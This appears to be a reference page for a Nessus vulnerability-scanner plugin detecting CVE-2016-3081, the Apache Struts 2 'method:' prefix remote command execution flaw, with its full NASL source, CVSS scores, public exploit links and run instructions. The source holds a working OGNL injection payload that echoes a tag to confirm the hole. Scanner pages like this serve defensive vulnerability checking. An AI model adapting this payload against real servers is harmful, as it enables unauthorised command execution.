Apache Struts 2 'method:' Prefix Arbitrary Remote Command Execution - Nessus

High Plugin ID: 119728

This page contains detailed information about the Apache Struts 2 'method:' Prefix Arbitrary Remote Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

hide

Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 119728
Name: Apache Struts 2 'method:' Prefix Arbitrary Remote Command Execution
Filename: struts_2_3_28_1_rce.nasl
Vulnerability Published: 2016-04-27
This Plugin Published: 2018-12-17
Last Modification Time: 2022-04-11
Plugin Version: 1.10
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: http_version.nasl, os_fingerprint.nasl, webmirror.nasl

Vulnerability Information

Severity: High
Vulnerability Published: 2016-04-27
Patch Published: 2016-04-27
CVE [?]: CVE-2016-3081
CPE [?]: cpe:/a:apache:struts

Synopsis

The remote web server contains a web application that uses a Java framework, which is affected by a remote command execution vulnerability.

Description

The remote web application appears to use Struts 2, a web framework that utilizes OGNL (Object-Graph Navigation Language) as an expression language. When Dynamic Method Invocation is enabled, it is possible to pass a malicious expression to the 'method:' prefix. A remote, unauthenticated attacker can exploit this issue to execute arbitrary commands on the remote web server.

Note that this plugin will only report the first vulnerable instance of a Struts 2 application.

Solution

Upgrade to version 2.3.28.1 or later.

Public Exploits

Target Network Port(s): 80, 8080
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Immunity Canvas, Core Impact, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Apache Struts 2 'method:' Prefix Arbitrary Remote Command Execution vulnerability:

Metasploit: exploit/multi/http/struts_dmi_exec
[Apache Struts Dynamic Method Invocation Remote Code Execution]
Exploit-DB: exploits/linux/remote/39756.rb
[EDB-39756: Apache Struts - Dynamic Method Invocation Remote Code Execution (Metasploit)]
GitHub: https://github.com/0day666/Vulnerability-verification
[CVE-2016-3081]
GitHub: https://github.com/SexyBeast233/SecBooks
[CVE-2016-3081]
GitHub: https://github.com/fupinglee/Struts2_Bugs
[CVE-2016-3081]
GitHub: https://github.com/ilmila/J2EEScan
[CVE-2016-3081]
GitHub: https://github.com/wangeradd1/MyPyExploit
[CVE-2016-3081]
GitHub: https://github.com/whoadmin/pocs
[CVE-2016-3081]
GitHub: https://github.com/woods-sega/woodswiki
[CVE-2016-3081]
D2 Elliot: apache_struts_dynamic_method_invocation_expression_handling_rce.html
[Apache Struts Dynamic Method Invocation Expression Handling RCE]
Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS Score Source [?]: CVE-2016-3081
CVSS V2 Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C

CVSS Base Score:	9.3 (High)
Impact Subscore:	10.0
Exploitability Subscore:	8.6
CVSS Temporal Score:	7.7 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	7.7 (High)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C

CVSS Base Score:	8.1 (High)
Impact Subscore:	5.9
Exploitability Subscore:	2.2
CVSS Temporal Score:	7.5 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	7.5 (High)

Go back to menu.

Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(119728);
  script_version("1.10");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2016-3081");
  script_bugtraq_id(87327);

  script_name(english:"Apache Struts 2 'method:' Prefix Arbitrary Remote Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web application that uses a Java
framework, which is affected by a remote command execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote web application appears to use Struts 2, a web framework
that utilizes OGNL (Object-Graph Navigation Language) as an expression
language. When Dynamic Method Invocation is enabled, it is possible to 
pass a malicious expression to the 'method:' prefix. A remote, 
unauthenticated attacker can exploit this issue to execute arbitrary 
commands on the remote web server.

Note that this plugin will only report the first vulnerable
instance of a Struts 2 application.");
  script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-032");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 2.3.28.1 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2016-3081");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts Dynamic Method Invocation Expression Handling RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Apache Struts Dynamic Method Invocation Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");

  script_set_attribute(attribute:"vuln_publication_date", value:"2016/04/27");
  script_set_attribute(attribute:"patch_publication_date", value:"2016/04/27");
  script_set_attribute(attribute:"plugin_publication_date", value:"2018/12/17");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2018-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "webmirror.nasl", "os_fingerprint.nasl");
  script_require_ports("Services/www", 80, 8080);

  exit(0);
}

include("http.inc");
include("torture_cgi.inc");
include("url_func.inc");

port = get_http_port(default:8080);
cgis = get_kb_list('www/' + port + '/cgi');

urls = make_list();
# To identify actions that we can test the exploit on we will look
# for files with the .action / .jsp / .do suffix from the KB.
if (!isnull(cgis))
{
  foreach cgi (cgis)
  {
    match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
    if (match)
    {
      urls = make_list(urls, match[0]);
      if (!thorough_tests) break;
    }
    match2 = pregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
    if (!isnull(match2))
    {
      urls = make_list(urls, match2[0]);
      if (!thorough_tests) break;
    }
    match3 = pregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
    if (!isnull(match3))
    {
      urls = make_list(urls, match3[0]);
      if (!thorough_tests) break;
    }
    if (cgi =~ "struts2?(-rest)?-showcase")
    {
      urls = make_list(urls, cgi);
      if (!thorough_tests) break;
    }
  }
}
if (isnull(cgis) || thorough_tests)
{
  cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
  if (!isnull(cgi2)) urls = make_list(urls, cgi2);

  cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
  if (!isnull(cgi3)) urls = make_list(urls, cgi3);

  cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
  if (!isnull(cgi4)) urls = make_list(urls, cgi4);
}

# Always check web root
urls = make_list(urls, "/");

# Struts is slow
timeout = get_read_timeout() * 2;
if(timeout < 10)
  timeout = 10;
http_set_read_timeout(timeout);

urls = list_uniq(urls);
vuln = FALSE;

tag = "tenable-"+rand();

foreach url (urls)
{
    vuln_url = url + "?tag="+tag+
    "&method%3a%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,"+
    "%23writer%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),"+
    "%23writer.println(%23parameters.tag[0]),%23writer.flush(),%23writer.close";

    res = http_send_recv3(
      method : "GET",
      port   : port,
      item   : vuln_url,
      exit_on_fail : TRUE
    );

  pattern = "^"+tag+"$";
  if (!isnull(res[2]) && res[2] =~ pattern)
    vuln = TRUE;
  # Stop after first vulnerable Struts app is found
  if (vuln) break;
}

if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');

security_report_v4(
  port       : port,
  severity   : SECURITY_HOLE,
  generic    : TRUE,
  request    : make_list(build_url(qs:vuln_url, port:port)),
  output     : chomp(res[2])
);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/struts_2_3_28_1_rce.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\struts_2_3_28_1_rce.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/struts_2_3_28_1_rce.nasl

Go back to menu.

How to Run

Here is how to run the Apache Struts 2 'method:' Prefix Arbitrary Remote Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select Apache Struts 2 'method:' Prefix Arbitrary Remote Command Execution plugin ID 119728.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl struts_2_3_28_1_rce.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a struts_2_3_28_1_rce.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - struts_2_3_28_1_rce.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state struts_2_3_28_1_rce.nasl -t <IP/HOST>

Go back to menu.

References

BID | SecurityFocus Bugtraq ID:

87327

See also:

Similar and related Nessus plugins:

90773 - Apache Struts 2.x < 2.3.28.1 Multiple Vulnerabilities
66935 - Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution
66931 - Apache Struts 2 OGNL Expression Handling Double Evaluation Error Remote Command Execution
68981 - Apache Struts 2 'action:' Parameter Arbitrary Remote Command Execution
70168 - Apache Struts 2 'action:' Parameter Prefix Security Constraint Bypass
73203 - Apache Struts 2 'class' Parameter ClassLoader Manipulation
90152 - Apache Struts 2 Tag Attribute Double OGNL Evaluation RCE
91811 - Apache Struts 2 REST Plugin OGNL Expression Handling RCE
102918 - Apache Struts 2.3.x Struts 1 plugin RCE (remote)
97610 - Apache Struts 2.3.5 - 2.3.31 / 2.5.x < 2.5.10.1 Jakarta Multipart Parser RCE (remote)
102977 - Apache Struts 2 REST Plugin XStream XML Request Deserialization RCE
112064 - Apache Struts CVE-2018-11776 Results With No Namespace Remote Code Execution (S2-057) (remote)
144365 - Apache Struts 2.x < 2.5.26 RCE (S2-061) (direct check)
69240 - Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution
57691 - Apache Struts 2 Multiple Remote Code Execution and File Overwrite Vulnerabilities (safe check) (deprecated)
57850 - Apache Struts 2 ParameterInterceptor Class OGNL Expression Parsing Remote Command Execution
47900 - Apache Struts 2 / XWork Remote Code Execution (safe check)

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file struts_2_3_28_1_rce.nasl version 1.10. For more plugins, visit the Nessus Plugin Library.

Go back to menu.

Apache Struts 2 'method:' Prefix Arbitrary Remote Command Execution - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

Nessus Plugin Library

Solving Problems with Office 365 Email from GoDaddy

Empire Module Library

CrackMapExec Module Library

Metasploit Android Modules

Top 16 Active Directory Vulnerabilities

Top 10 Vulnerabilities: Internal Infrastructure Pentest

Terminal Escape Injection

Cisco Password Cracking and Decrypting Guide

Capture Passwords using Wireshark

SSH Brute Force Attack Tool using PuTTY / Plink (ssh-putty-brute.ps1)

SMB Brute Force Attack Tool in PowerShell (SMBLogin.ps1)

Port Scanner in PowerShell (TCP/UDP)

Nessus CSV Parser and Extractor

Default Password Scanner (default-http-login-hunter.sh)